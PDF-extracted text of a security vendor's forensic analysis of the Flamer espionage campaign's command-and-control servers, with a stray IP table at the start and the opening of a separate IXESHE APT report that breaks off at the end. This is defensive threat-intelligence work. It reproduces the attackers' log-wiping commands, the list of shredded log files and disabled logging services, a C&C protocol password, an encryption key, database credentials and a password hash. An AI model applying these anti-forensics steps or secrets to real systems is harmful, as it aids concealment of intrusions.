+64.167.26.66 +United States +7132 +arin +65.68.51.49 +United States +7132 +arin +99.1.23.71 +United States +7132 +arin +70.63.209.63 +United States +11426 +arin +216.27.242.38 +United States +22343 +arin +216.27.242.41 +United States +22343 +arin +72.9.221.133 +United States +22343 +arin +174.123.19.84 +United States +21844 +arin +65.246.9.27 +United States +arin +65.249.138.102 +United States +arin +71.246.244.139 +United States +19262 +arin +96.229.98.180 +United States +19262 +arin +206.111.214.29 +United States +2828 +arin +Page 18 +Security Response +Any technical information that is made available by Symantec Corporation is the copyrighted work of Symantec Corporation and is owned by Symantec +Corporation. +NO WARRANTY . The technical information is being delivered to you as is and Symantec Corporation makes no warranty as to its accuracy or use. Any use of the +technical documentation or the information contained herein is at the risk of the user. Documentation may include technical or other inaccuracies or typographical +errors. Symantec reserves the right to make changes without prior notice. +About the authors +Stephen Doherty is a Security Response Manager +and Piotr Krysiuk is a Senior Software Engineer, +located in Dublin, Ireland. +For specific country offices and contact numbers, please visit our Web site. For product +information in the U.S., call +toll-free 1 (800) 745 6054. +Symantec Corporation +World Headquarters +350 Ellis Street +Mountain View, CA 94043 USA ++1 (650) 527-8000 +www.symantec.com +About Symantec +Symantec is a global leader in +providing security, storage and +systems management solutions to +help businesses and consumers +secure and manage their information. +Headquartered in Moutain View, Calif., +Symantec has operations in more +than 40 countries. More information +is available at www.symantec.com. +Copyright + 2012 Symantec Corporation. All rights reserved. +Symantec and the Symantec logo are trademarks or registered +trademarks of Symantec Corporation or its affiliates in the +U.S. and other countries. Other names may be trademarks of +their respective owners. +Security Response +Have I Got Newsforyou: +Analysis of Flamer C&C +Server +Symantec Security +Response +Contents +Overview............................................................. 1 +Background......................................................... 2 +The server........................................................... 3 +The home directory............................................. 6 +Stress testing in applications........................ 6 +Cleaning up.................................................... 7 +Disabling logging........................................... 7 +The Web application........................................... 7 +Authors.......................................................... 8 +Protocols........................................................ 9 +Stolen Data.................................................. 11 +Activity......................................................... 13 +Payload........................................................ 14 +The control panel.............................................. 14 +The database..................................................... 16 +Schema....................................................... 16 +Conclusion........................................................ 18 +Resources ......................................................... 19 +Overview +W32.Flamer is a sophisticated cyber espionage tool that targeted +the Middle East. It is modular in design and contains some novel +functionality, most notably its ability to spread across networks using +a previously unknown man-in-the-middle attack against Windows +Update. Symantec has performed a detailed forensic analysis of two +of the command-and-control (C&C) servers used in the W32.Flamer +attacks from earlier this year. +Based on our analysis, we were able to uncover details such as when +the servers were operational, what entities were targeted, nicknames +of those involved in the attack, and techniques used by the attackers +to avoid discovery should the command-and-control server be +compromised. +Analysis of these C&C servers was performed as a joint effort between +Symantec, CERT-Bund/BSI, IMPACT, and Kaspersky. This paper +focuses on the detailed forensic examination Symantec carried out on +the C&C server images. +Security Response +Have I Got Newsforyou: Analysis of Flamer C&C Server +Background +The first server was set up on May 18, 2012, and, just five hours after it was set up, it recorded the first +interaction with a Flamer-compromised client. The server would go on to control at least a few hundred +compromised clients over the next few weeks. The second server was set up on March 25, 2012, and controlled +over a thousand clients in a period of just over one week. +The servers had been set up to record a minimal amount of information in case of discovery. The systems were +configured to disable any unnecessary logging events and entries in the database were deleted at regular +intervals. Existing log files were securely deleted from the servers on a regular basis. These steps were taken in +order to hamper any investigation should the server fall into the hands of investigators or law enforcement. +However, the attackers were not thorough enough, as files revealing the entire history of the servers + setup were +available and a limited +Figure 1 +set of encrypted records +Data security compartmentalization used by W32.Flamer attackers +in the database revealed +that compromised clients +had been connecting +from the Middle East. We +were also able to recover +the nicknames of four +authors +D***, H*****, +O******, and R*** +had worked on the code +at various stages and on +differing aspects of the +project. +On both servers commandand-control activity +happens through a +Web application called +Newsforyou. It processes +the W32.Flamer client +interactions and provides +a simple control panel. +The control panel allows +the attackers to upload +packages of code to +deliver to compromised +clients, and download +packages containing +stolen client data. +However, in a technique +not previously seen +before the uploaded and +downloaded packages are +encrypted, so infiltrating +the command-and-control +server does not reveal +the code or the stolen +client data. The command- +Page 2 +Have I Got Newsforyou: Analysis of Flamer C&C Server +Security Response +and-control server simply serves as a proxy for the data and the data is encrypted and decrypted offline by the +attackers using keys unique to each client. This application also contains functionality to communicate with +clients compromised by malware other than Flamer. The Web application was designed to be a framework for +supporting different malware campaigns. +In addition to avoiding the compromise of their operations, preventing both the uploading of rogue code and +viewing of stolen data, the setup also maintains a clear distinction of roles. The roles include those responsible +for setting up the server (admins), those responsible for uploading packages and downloading stolen data +through the control panel (operators), and those holding the private key with the ability to decrypt the stolen +data (attack coordinators). The operators themselves may actually be completely unaware of the contents in the +stolen data. This is due to design of the process to use data security compartmentalization techniques, as shown +in Figure 1. +Despite these techniques, we were still able to determine that one of the servers delivered a module instructing +Flamer to commit suicide and wipe itself off computers in late May 2012, an action we also witnessed through +compromised honeypots. +Finally, access to the control panel required a password which is stored as a hash. Despite brute force attempts +at reversing the hash to plain text, we were unable to determine the plain text password. +What follows is a thorough analysis of one of the command-and-control servers, detailing the server setup, the +Web application developed by at least four separate authors since 2006, the control panel used by the operators, +and the database that helps drive the application. The report also includes key information about a second +server, but in-depth details have been omitted to maintain the brevity of this report. The functionality and +structure of both servers is identical. The differences are mainly in the amount of data and number of clients the +servers were exposed to. +The server +File system +The following table details the important locations relevant to the investigation of the command-and-control +servers. +Table 1 +Location +Description +/root/.bash_history +Contains a history of root user commands +/var/spool/crontabs/root +Scripts set up to run at regular intervals +//home/[USERNAME] +Operator home directory, contains various scripts +/var/www/htdocs/newsforyou +Command-and-Control Web application +/var/lib/mysql +MySQL database +Server setup +The first sign of activity from the attackers on the first server was May 18, 2012. At 11:26 (UTC) the first +scheduled job was run and a little over two hours later the server was fully operational. A malicious package was +uploaded to the server at 13:53. The first recorded interaction with a W32.Flamer compromised client was at +16:15, when stolen data was uploaded to the server. +In comparison, the second server saw initial activity on March 25, 2012, and was fully operational on the same +day. +Page 3 +Security Response +Have I Got Newsforyou: Analysis of Flamer C&C Server +During the server set up, the attackers installed various applications and tested connections to the MySQL +database which supported their custom Web application. The end goal was to install a command-and-control +application called Newsforyou which interacted with compromised W32.Flamer clients. +An important step taken by the attackers was to hide traces of their activity on the server. They did this by +disabling logging and securely removing existing log files. The attackers, however, did not clear out the history +of commands issued through the console by the administrator (root) account. This data was visible and was +retrieved from the /root/.bash_history file, which revealed these activities. The following table lists and +describes, in brief, a subset of commands that are most relevant to the server set up: +Table 2 +Command Executed +Description +netstat +Checks open network connections +telnet localhost 3306 +Tests MySQL server is accepting connections +nano apache2.conf +Configures Web server +adduser [USERNAME] +Adds user [USERNAME] +crontab /etc/cron.newsforyou +Cronjob executes scripts at regular intervals +openssl req -newkey rsa:1024 -nodes -x509 -days +Creates SSL key +python __main__.py 0 2 1 "127.0.0.1" 100 100 +Simulator test to add entry (stolen data) +python __main__.py 2 1-2 1 "127.0.0.1" 100 +Simulator test to retrieve news entry (payload) +nano /etc/apache2/ports.conf +Configures Web server to listen on TCP port 443 +cp /home/[USERNAME]/LogWiper_fixed.txt /LogWiper.sh +Prepares log wiper file as BASH script +sh /LogWiper.sh +Wipes logs and disables logging services +mkdir /var/www/common/ +Creates folders to be used in redirection +mkdir /var/www/wp-content/ +Creates folders to be used in redirection +mkdir /var/www/pages/ +Creates folders to be used in redirection +mkdir /var/www/services/ +Creates folders to be used in redirection +nano /etc/apache2/sites-enabled/default-ssl +Sets up URL redirects +mkdir -p /var/www/cgi-bin +Creates folders to be used in redirection +mkdir -p /var/www/htdocs/newsforyou +Create Web appplication folder +php5 ../DB_creation_script.php +Creates database +/etc/init.d/apache2 restart +Restarts Web server +iptables -A INPUT -p tcp --dport 22 -j ACCEPT +Accepts connections on TCP port 22(SSH) +iptables -A INPUT -p tcp --dport 443 -j ACCEPT +Accepts connections on TCP port 443(HTTPS) +Following these commands, the Apache server was configured to listen on TCP ports 443 and 8080. The firewall +was also reconfigured to allow connections over SSH and HTTPS. Logging activities were disabled and existing +log files were securely deleted where necessary. The server is now ready to interact with compromised Flamer +clients through the Newsforyou application. +The attackers also set up some URL redirections to disguise the true nature of the requests to an inexperienced +eye. They would appear to look like legitimate requests for regular looking folder names. An example of one of +the redirect rules is shown below: +/etc/apache2/sites-available/default-ssl +Page 4 +Have I Got Newsforyou: Analysis of Flamer C&C Server +Security Response +ScriptAlias /cgi-bin/ /var/www/cgi-bin/ + +Scheduled tasks +A cronjob was set up to periodically delete files from the file system and remove older entries from the database: +/etc/cron.newsforyou +Table 3 +Repeat Interval +Command +2 minutes +/var/www/htdocs/newsforyou/UnloadChecker.php >> /var/log/newsforyou.log +6 hours +* python /home/[USERNAME]/pycleaner/Eraser.py +@Midnight +php /home/[USERNAME]/delete.php +UnloadChecker.php, which is +executed every two minutes, +retrieves data uploaded from the +compromised computer and places +it in a tar archive. The archive +could then be downloaded by the +operators. Eraser.py is a script used +to wipe certain files and content +from folders. On one of the servers +the operators made an error when +setting up the scheduled task. They +used the folder name pycleaner +when creating the task, but this +folder does not exist. The folder +containing the script is pycleanscr. +As a result, the Eraser.py script was +never automatically executed. +Figure 2 +Communications between C&C server and compromised +computers +Figure 2 illustrates the simple setup +now in place for communicating with +W32.Flamer compromised clients. +The next sections discuss the files +and applications of most interest to +the investigation, along with their +locations. The analysis begins in the +home directory of the unique added +user, a folder that is created once +the user is added during the initial +set up. The usernames here were +Page 5 +Have I Got Newsforyou: Analysis of Flamer C&C Server +Security Response +short three-letter names, unique to each server. +The home directory +Location: /home/[USERNAME] +The following table contains the location and a brief description of the files and folders present in the user +home directory: +Table 4 +File/Directory +Description +./.bashrc +Standard .bashrc with no modifications +Simulator/ +Python application used to test the Newsforyou application +pycleanscr/ +Python application used to free up disk space if necessary +./LogWiper_fixed.txt +Script which disables logging and securely deletes specific log files +./RequestHandler.php +Used in the Newsforyou Web application +./Delete.php +PHP script which delete files and entries in the MySQL database +Stress testing the application +Simulator +This application consists of a set of Python scripts, which are used to stress test the Newsforyou application. +This application was only present on one of the servers. The application connects to a chosen server and issues +various queries that conform to the C&C server protocol. The tests performed during the set up were to add an +entry (stolen data) and to retrieve a news entry (payload). +A point of interest here is the presence of dnslocation.info as part of the HTTP request header the script builds in +a file named Connection.py. This is a known Flamer C&C server domain, indicating that the code is being shared +and used to test across various C&C servers. The timestamp on this file supports this idea as it is stamped March +22, 2012. +When a Python script is executed, a compiled Python file (.pyc) is generated. Examining these files, we confirmed +this application was executed on May 18 which corroborates our finding about the system configuration date. +Page 6 +Have I Got Newsforyou: Analysis of Flamer C&C Server +Security Response +Cleaning up +pycleanscr +pycleanscr checks how much free disk space is available on the root partition. It deletes the files in /var/www/ +htdocs/newsforyou/tmp/ if the amount of the disk space in use is greater than 75 percent. +Delete.php +Deletes entries in the news_entries table of the MySQL database and securely deletes the files referenced by +that entry on disk that are older than 30 days. +Disabling logging +LogWiper_fixed.txt +This .txt file is renamed to a .sh BASH script and run to disable logging services, to securely delete any prior log +files created, and to disable logging in two particular applications required by the attackers: Apache and SSH. +Table 5 +Log files deleted +Services disabled +Services with logging disabled +/var/log/wtmp +Rsyslog +Apache +/var/log/lastlog +Sysklogd +/var/run/utmp +Msyslog +/var/log/mail.* +syslog-ng +/var/log/syslog* +/var/log/messages +hidden files in /root and / +home +/var/log/auth/* +/var/log/apache2/* +Files are securely deleted using Shred, a tool that repeatedly overwrites files to prevent their recovery, even +forensically. +The next section will discuss the Web application processing the compromised W32.Flamer client requests. +The Web application +Location: /var/www/htdocs/newsforyou/ +The Newsforyou application is written in PHP and contains the primary command-and-control functionality split +into two parts: the main module and the control panel. The control panel is a basic user interface which allows +packages to be uploaded and installed on chosen W32.Flamer clients. It also allows for the retrieval of stolen +data that had been uploaded from these clients. +Page 7 +Have I Got Newsforyou: Analysis of Flamer C&C Server +Security Response +The table below describes the layout and offers a brief description of the components of the Newsforyou +application: +Table 6 +Directories +Description +/newsforyou +Main command and control application +/newsforyou/news +Encrypted packages distributed to all infected clients* +/newsforyou/ads +Encrypted packages distributed to chosen infected clients** +/newsforyou/entries +Encrypted data uploaded from infected clients** +/newsforyou/files +Temporary location for files when creating unloads +/newsforyou/tmp +Temporary files (database exports, tar archives) +/newsforyou/bak +Archives generated when unloading +/newsforyou/CP +Control panel +*Symmetric encryption with known key +**Asymmetric encryption with known public key, private key unknown +The application is designed to resemble a simple news/blog application. This approach may serve to disguise +the true nature of the application from any automation or casual inspection. Although the code was running on +a Linux server, it is likely some of the command-and-control servers were running Windows, or at least that the +code was developed and tested on Windows computers. +The following comment was present in one of the PHP files: +-- This function was added by D***, returns a true/false value +depending on if this is a Windows box +Authors +The PHP source code references four authors, identified in the table below, and also attributes to them +particular functionality within the code: +Table 7 +@author Edited Files Dates +D*** +12/4/2006 +01/23/2007 +H***** +09/02/2007 +O****** +12/3/2006 +R*** +2011 +Control Panel Protocols Database Cleanup Encryption +It is clear that D*** and H***** had the most input into the project, having edited the most files in the +application. O****** and R*** were tasked with database and cleanup operations and could easily have had little +or no understanding of the inner workings of the application. +However, D*** and H***** have direct involvement in handling interactions with clients, as they worked on the +protocols and also worked on the control panel that the operators used. It is likely D*** and O****** knew each +other, as they both worked on the same files and during a similar time period in December 2006. +Page 8 +Security Response +Have I Got Newsforyou: Analysis of Flamer C&C Server +H***** is responsible for the SignupProtocol, while D*** is involved in the OldProtocol (Flamer), both of which +will be discussed in more detail in the next section. +Protocols +The main module communicating with the compromised clients is index.php. It deciphers the protocol then +logs, decodes, and processes requests. Four protocols have been identified, of which three are in use. The Red +protocol has not been implemented yet. +The existence of three supported protocols, along with one protocol under development, confirms the C&C +server +s requirement to communicate with multiple evolutions (variants) of W32.Flamer or additional cyberespionage malware families currently unknown to the public. +Page 9 +Have I Got Newsforyou: Analysis of Flamer C&C Server +Security Response +These protocols are identified in the table below: +Table 8 +Protocol Identifier +Protocol +Request +PROTOCOL_OLD* +HTTPS +UNIQUE_NUMBER=[DIGITS]&PASSWORD=LifeStyle2 +PROTOCOL_SIGNUP +HTTPS +uid=[DIGITS]&action=[DIGITS] +PROTOCOL_OLD_E** +HTTP +NOT(uid=[DIGITS]&action=[DIGITS]) +PROTOCOL_RED +*Used by W32.Flamer +**PROTOCOL_OLD with custom encryption over HTTP +Specific requests handled by the application are: +Table 9 +Request +Functionality +GetNewsHandler +Responsible for sending news to compromised clients +AddEntryHandler +Responsible for storing entries (stolen data) from compromised clients +GetAdHandler +Responsible for sending ads to compromised clients +The possibility that multiple Trojans, or at least evolutions of W32.Flamer, are at work here is backed up by the +fact that four different IDs are used internally to identify them: +Table 10 +Client +Internal ID +Protocol +Threat +CLIENT_TYPE_SP +PROTOCOL_OLD +Unknown +CLIENT_TYPE_SPE +PROTOCOL_OLD_E +Unknown +CLIENT_TYPE_FL +PROTOCOL_OLD +W32.Flamer +CLIENT_TYPE_IP +PROTOCOL_SIGNUP +Unknown +PROTOCOL_RED +Unknown +Page 10 +Have I Got Newsforyou: Analysis of Flamer C&C Server +Security Response +Here is a snippet of code that identified connecting clients: +It is likely here that CLIENT_TYPE_SP, CLIENT_TYPE_SPE, and CLIENT_TYPE_FL implemented by D*** are evolutions +of the same threat. However, CLIENT_TYPE_IP which is implemented by H***** appears to come after the in-use +Flamer protocol, which suggests that either new variants exist that we are unaware of, or there is a separate Trojan +at work. They also included an unrecognized fallback for clients. +Stolen Data +Compromised clients upload stolen data to the entries directory. Files stored in this directory are encrypted with a +public key stored in the database. These files cannot be decrypted without the corresponding private key. There was +a file of 157,548 bytes still left on the server that the operators did not have the opportunity to download. +The stolen data is encrypted with this public key on the server, thus requiring the corresponding unknown private key +to decrypt: +-----BEGIN PUBLIC KEY----MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAtZslxFiR9KJE05Nhh7Xk ++lVVpD9F6AQnvZeknDiwL3SBjZB/dB/LLXtwiet8LUS6JYCXnaIq4NxW1PymwGFZ +zuc/B3p+ZAFPt06veOHOfaMAI0KDMb+laNPINvn/jJ8TfvCaUMUuMEY4sayh0xwD +MwSAazMYI8rvaaS/BqhI/6vPN6D02UIpwT1TSBVeRRoPBHuYE7A93b8vJw9sBGIp +KXZ90sgP1CjdAmCbhYelelninKdeTKCGvd5YXt86grWgEVf5WXzxXi3ZK1T4w0Yt +mNhUEAwS7zCdtZ+Ak8b0M83wAirASvPZiBl6qF8hqCT5pKkwgBG//kk8JicboLsM +VQIDAQAB +-----END PUBLIC KEY----Based on timestamps seen on the first server in the /newsforyou/bak directory we determined that the operators +downloaded the stolen data on four separate dates in May. +Table 11 +Date +Stolen data files +2012-05-22 +2012-05-23 +2012-05-24 +2012-05-30 +Page 11 +Security Response +Have I Got Newsforyou: Analysis of Flamer C&C Server +A total of around 75 MB of stolen data was found in the backups on one of the servers (server #1). Although the +timing data is limited here, the timestamps of these backups suggest that the operators could be in the EMEA region. +There was a four-day delay from the initial setup to when the operators began to retrieve stolen data. This is a +possible indicator that the information about the new server had to take time to filter down to them. +Figure 3.1 +Megabytes of stolen data by date, server #1 +In comparison, the other server (server #2) saw a massive 5.7 GB of stolen data: +Figure 3.2 +Megabytes of stolen data by date, server #2 +Page 12 +Security Response +Have I Got Newsforyou: Analysis of Flamer C&C Server +Activity +By examining the files in the bak directories, specifically the number of files contained within the backup archives +created each day, it is possible to obtain an indication of the activity of the C&C server, which can be seen in the +chart below: +Figure 4.1 +Number of backup archives created each day, server #1 +Figure 4.2 +Number of backup archives created each day, server #2 +On the first server, there is a clear increase in activity around May 20, which then drops off. This is to be expected as +computers are cleared up. +On the second server the Flamer operation is in full flow and huge volumes of files are being created on the system. +Page 13 +Have I Got Newsforyou: Analysis of Flamer C&C Server +Security Response +Payload +The news directory contains a compressed and encrypted file for distribution to the compromised clients connecting +to the server. This file is encrypted with a known symmetric key retrieved from the database. +Table 12 +Filename +File size +0xfccd97e2513089e74ba707bbf4c1b0e5 +59c5452fb2ba21091513ccdc1e0ec7fd +204,024 bytes +This is the browse32.ocx Flamer module, the sole purpose of which is to remove all known traces of the Flamer +malware from the compromised client. +The payload is encrypted with this symmetric key: +R&^T&IOHIO%^&^E%@#$UIO*() +The control panel +Access to the Flamer control panel requires authentication: +Figure 5 +Control panel login page +The following credentials are used to gain access to the control panel (only the MD5 password hash is available; +attempts to crack the password were unsuccessful): +Username: username +Password Hash: 27934e96d90d06818674b98bec7230fa +The control panel for interacting with Flamer-compromised computers is very basic. The simple interface allows the +operators to upload packages and download encrypted data stolen from the compromised clients. The operator is +required to upload specially crafted tar.gz files. The archived filename needs to follow a specific format, which is +parsed and then stored in the ads or news directory, depending on the file extension used. +The filename format for these packages is as follows: +[USER _ TYPE] _ [USER _ ID] _ [PRIORITY] _ [TEMP _ FLAG][OPTIONAL _ AND _ IGNORED].news +[USER _ TYPE] _ [USER _ ID] _ [EXPIRY _ TIME] _ [AD _ NAME].ad +Page 14 +Security Response +Have I Got Newsforyou: Analysis of Flamer C&C Server +The following is a screen shot of the control panel that allows the operator to upload data to the server: +Figure 6 +Control panel data upload screen +This approach to uploading packages and downloading data fits the profile of military and intelligence operations. +A typical control panel is easy to use and self-explanatory. The operator has full control over what to do with the +compromised clients and has the ability to retrieve and inspect the stolen information. The Flamer control panel +provides limited capabilities to the operator, preventing them from viewing and interpreting the information being +exchanged. +This approach would help prevent operators from knowing what is contained within the packages or the significance +of the data being exchanged between clients and the attackers. Such a design would also serve as a defensive +measure as it would prevent arbitrary packages from being uploaded and prevent downloaded data being from being +inspected by unknown parties that may have gained access to the control panel. +The following screen on the control panel allows the user to view and download backed up data from the server: +Figure 7 +Control panel screen for downloading stolen data +Page 15 +Have I Got Newsforyou: Analysis of Flamer C&C Server +Security Response +The tar.gz contains all the relevant stolen data and details of where the information was stolen from. The private key +is required here to inspect the encrypted data. +The database +Location: /var/lib/mysql +The database is used to store the relevant data about connecting clients, packages to send to the clients, some +logging and settings required for encryption, and authentication to access the control panel. +Table 13 +Database +User +Password +MySQL +news_user +news_pass +Schema +The database is used to store the relevant data about connecting clients, packages to send to the clients, some +logging and settings required for encryption, and authentication to access the control panel. +Figure 8 +Newsforyou application database schema +Page 16 +Have I Got Newsforyou: Analysis of Flamer C&C Server +Security Response +The session_log, log, and client_log are all encrypted using the keys stored in the settings table shown below and +were successfully decrypted: +Table 14 +Variable +Value +is_online +True +cp_user +username +cp_hash 8 +27934e96d90d06818674b98bec7230fa +max_backup_size +52428800 +version +1.4.11.4.1 +minimum_unload_size +1572864 +unload_flag +general_key +acK3xKMoJzsa9AVvtg59+OT4RM/x5MQ3bO2p0j+5Jd0= +session_key +13eZ+Now4Pt5ATpPv3WUv1E8UrvJReVMD0pO0MTQqoI= +The database is regularly emptied by the delete.php script; there is limited data in it. The following table gives a brief +description of the tables found in the database: +Table 15 +Table +Records +Record Id Encryption +Description +settings +Configuration values listed in the table below +session_log +1144 +Encrypted session log +client_log +1071 +Encrypted client log +21259 +Encrypted logs +news_entries +Entries in newsforyou/news (payloads) +blog_entries +Entries in newsforyou/entries (stolen data) +Ad files in newsforyou/ads/ +backup +Backup files in newsforyou/bak/ +The session_log table contains details of all connections to the server while client_log only contains connections +with a recognized protocol (e.g. valid compromised computers). +Examining the data in the table indicates that 1071 valid requests were recorded from compromised clients. A +decrypted client log entry contains the following information: +CLIENT _ ID:[UUID] +CLIENT _ TYPE:3 +CLIENT _ VERSION:0 +REQUEST _ TYPE:0 +RAW _ REQUEST:UNIQUE _ NUMBER=[UUID]&PASSWORD=LifeStyle2&ACTION=1&FILE _ +NAME=&FILE _ SIZE=0 +PROTOCOL:1 +The four encrypted requests in the database on the first server are W32.Flamer client requests, which use the old +protocol: + CLIENT + PROTOCOL +CLIENT_TYPE_FL +OLD_PROTOCOL +Page 17 +Have I Got Newsforyou: Analysis of Flamer C&C Server +Security Response +The additional sessions logged are likely attributed to researchers who had discovered the whereabouts of the +command-and-control servers. +Table 16 +IP Address +Organization +Country +client_log +77.42.[REMOVED] +LIBANTELECOM +Lebanon +37.8. [REMOVED] +Israel Haifa Hadara Technologies Private Shareholding Company +Israel +37.75. [REMOVED] +Orange Palestine Group Co. for Technological Inves +Palestine +79.212. [REMOVED] +Deutsche Telekom AG +Germany +95.211. [REMOVED] +LeaseWeb B.V. +Netherlands +The session_log data contained three separate HTTP_HOST values, indicating multiple Flamer C&C server URLs were +used to access this server. +Although only one encrypted file existed in the newsforyou/entries folder (the stolen data uploaded from the +compromised clients), the database reveals that 189 records had been created. The other 188 files had already been +removed from the server. The entry left on the server had been successfully stolen from the computer located in +Israel. +A final point to note here is in relation to the entry in the news_entries table. Only one record ever existed: the +malicious payload to clean the computers up, uploaded on May 18, 2012, at 13.43:45. This server only served up one +package and it was uploaded as soon as the server had been initially configured. The last time a compromised client +connected to the server was Friday, June 1, 2012, at 11:42:47, and the last log recorded in the database was Friday, +June 1, 2012, at 11:46:01. +Conclusion +Examining the W32.Flamer servers has provided additional insight into the architecture of not only the threat, but +also into the command structure of the entities behind it. The server code was written and updated by at least four +separate individuals, indicating a continuing development effort to support W32.Flamer and, potentially, new or +additional threats of a similar nature. The command-and-control Web application has been in active development for +many years, possibly as early as 2006, which is well before Flamer +s earliest seen compilation date in 2010. +The operators of the C&C servers may be a group of less senior individuals, working on a need-to-know basis, as the +operator is not required (nor has the permission) to interpret the value or purpose of the incoming data. Only the +attackers have the permission to access and interpret this data. This separation of operational and attacker visibility +and roles indicates that this is the work of a highly organized and sophisticated group. The likelihood of a large and +well-funded entity +s involvement in Flamer is corroborated by the use of the unique certificate weakness used to +hijack the Windows Update feature to spread across networks. +They were also careful to unload and archive data where necessary, remove duplicate files, and delete unnecessary +files to prevent the server from running out of disk space. This was an ongoing development up to 2011. R*** +s edits +in the source code suggest the concern was less about updating protocols and more about ensuring there was ample +room on the servers for the stolen data to be uploaded to, begging the question of how much data was actually being +stolen. +This investigation simply provides a snapshot in time of the Flamer attack campaign. Considering that logging was +disabled and data was wiped clean in such a thorough manner, the remaining clues make it virtually impossible to +determine the entity behind the campaign. There is little doubt that the larger project involving cyber-espionage +tools, such as Flamer, will continue to evolve and retrieve information from the designated targets. +Page 18 +Security Response +Have I Got Newsforyou: Analysis of Flamer C&C Server +Resources +Flamer: Highly Sophisticated and Discreet Threat Targets the Middle East +http://symantec.com/connect/blogs/flamer-highly-sophisticated-and-discreet-threat-targets-middle-east +Painting a Picture of W32.Flamer +http://symantec.com/connect/blogs/painting-picture-w32flamer +Flamer: A Recipe for Bluetoothache +http://symantec.com/connect/blogs/flamer-recipe-bluetoothache +W32.Flamer: Spreading Mechanism Tricks and Exploits +http://symantec.com/connect/blogs/w32flamer-spreading-mechanism-tricks-and-exploits +W32.Flamer: Leveraging Microsoft Digital Certificates +http://symantec.com/connect/blogs/w32flamer-leveraging-microsoft-digital-certificates +W32.Flamer: Microsoft Windows Update Man-in-the-Middle +http://symantec.com/connect/blogs/w32flamer-microsoft-windows-update-man-middle +W32.Flamer: Enormous Data Collection +http://symantec.com/connect/blogs/w32flamer-enormous-data-collection +Flamer: Urgent Suicide +http://symantec.com/connect/blogs/flamer-urgent-suicide +Page 19 +Security Response +Any technical information that is made available by Symantec Corporation is the copyrighted work of Symantec Corporation and is owned by Symantec +Corporation. +NO WARRANTY . The technical information is being delivered to you as is and Symantec Corporation makes no warranty as to its accuracy or use. Any use of the +technical documentation or the information contained herein is at the risk of the user. Documentation may include technical or other inaccuracies or typographical +errors. Symantec reserves the right to make changes without prior notice. +About Symantec +Symantec is a global leader in +providing security, storage and +systems management solutions to +help businesses and consumers +secure and manage their information. +Headquartered in Mountain View, Calif., +Symantec has operations in more +than 40 countries. More information +is available at www.symantec.com. +For specific country offices and contact numbers, please visit our Web site. For product +information in the U.S., call +toll-free 1 (800) 745 6054. +Symantec Corporation +World Headquarters +350 Ellis Street +Mountain View, CA 94043 USA ++1 (650) 527-8000 +www.symantec.com +Copyright + 2012 Symantec Corporation. All rights reserved. +Symantec and the Symantec logo are trademarks or registered +trademarks of Symantec Corporation or its affiliates in the +U.S. and other countries. Other names may be trademarks of +their respective owners. +Trend Micro Incorporated +Research Paper +2012 +IXESHE +An APT Campaign +By: David Sancho, Jessa dela Torre, Matsukawa Bakuei, +Nart Villeneuve, and Robert McArdle +CONTENTS +Introduction..................................................................................... 1 +Victims and Targets................................................................ 1 +Context...................................................................................... 1 +Attack Vectors......................................................................... 2 +Operations............................................................................... 2 +Technical Analysis......................................................................... 2 +Initial Delivery Method.......................................................... 2 +Malware Local System Effects............................................. 2 +C&C Communications............................................................ 3 +Related AES Campaign.........................................................4 +C&C Infrastructure......................................................................... 5 +Real C&C Location.................................................................. 6 +PAGE ii | IXESHE +Attribution and Unique Fingerprints......................................... 7 +Unique Fingerprints and Modus Operandi....................... 7 +Relationships Between Attack Components...........................8 +Timeline...........................................................................................12 +Conclusion......................................................................................15 +Defending Against APTs..............................................................15 +Local and External Threat Intelligence............................15 +Mitigation and Cleanup Strategy.......................................16 +Educating Employees Against Social Engineering........16 +Data-Centric Protection Strategy......................................16 +Trend Micro Threat Protection Against IXESHE +Campaign Components...............................................................17 +INTRODUCTION +The number of targeted attacks is undoubtedly on the +rise. These highly targeted attacks focus on individual +organizations in an effort to extract valuable information. +In many ways, this is a return to the +old hacking days +before more widespread attacks targeting millions of +users and the rise of computer worms came about. +Sometimes, these targeted attacks are allegedly linked to +state-sponsored activities but may also be carried out by +individual groups with their own goals. +Trend Micro continues to track and analyze highly +targeted attacks, also known as +advanced persistent +threats (APTs). + We have, in fact, published two research +papers on the Luckycat1 and Lurid2 campaigns. This +research paper will delve into another prominent group of +attackers referred to as +IXESHE + (pronounced +i-sushi +based on one of the more common detection names +security companies use for the malware they utilize. This +campaign is notable for targeting East Asian governments, +electronics manufacturers, and a telecommunications +company. +The IXESHE campaign makes use of targeted emails with +malicious attachments to compromise victims + systems. +The emails are often tailored for specific victims and +contain malicious attachments that are almost always +weaponized + .PDF files with known exploits that drop +malware executables onto targeted systems. In addition, +the IXESHE attackers conducted two specific attacks that +leveraged zero-day exploits +one in 2009 and another in +2011. +The IXESHE attackers almost always make use of +compromised servers as command-and-control (C&C) +servers. In some cases, the compromised servers are +hosted on target organizations + networks after successful +infiltration so the attackers can increase their control +of the victims + infrastructure. Using this approach, the +attackers amassed at least 60 C&C servers over time. +This technique also allows the attackers to cover their +tracks, as having the C&C server in the victims + corporate +networks means very little C&C traffic leaves them. The +attackers + deliberate use of compromised machines and +dynamic Domain Name System (DNS) services allows +them to hide traces of their presence by confusing their +activities with data belonging to legitimate individuals. +Looking at threat intelligence derived from tracking APT +campaigns over time primarily based on the network +traffic generated by the malware used, we were able +to develop indicators of compromise for the IXESHE +campaign. The malware samples used in this campaign +were not very complicated by nature but do give the +attackers almost complete control over their targets +compromised systems. +Victims and Targets +Most of the IP addresses of IXESHE +s victims are linked +to DSL networks, which made it difficult to determine +their identities. Careful research, however, allowed the +identification of some of the attackers + victims: + East Asian governments + Taiwanese electronics manufacturers + A telecommunications company +Campaign victims were identified by using Whois records +and open source research. Trend Micro generally notifies +customers that are believed to have been specifically +targeted by APT campaigns. +Context +The IXESHE attackers have been actively launching highly +targeted attacks since at least July 2009. +http://www.trendmicro.com/cloud-content/us/pdfs/securityintelligence/white-papers/wp_luckycat_redux.pdf +2 http://www.trendmicro.com/cloud-content/us/pdfs/securityintelligence/white-papers/wp_dissecting-lurid-apt.pdf +PAGE 1 | IXESHE +TECHNICAL ANALYSIS +Attack Vectors +Initial Delivery Method +Available data on the IXESHE campaign indicates that +targeted emails with malicious .PDF file attachments were +the attackers + vector of choice. In most cases, the attacks +involved Adobe Acrobat, Reader, and Flash Player exploits +such as: +Every IXESHE case we examined revealed that the original +infection vector was a targeted email with a PDF exploit as +attachment. Older versions also used an XLS exploit. +CVE-2009-43243 +CVE-2009-09274 +CVE-2011-06095 +CVE-2011-06116 +It should also be 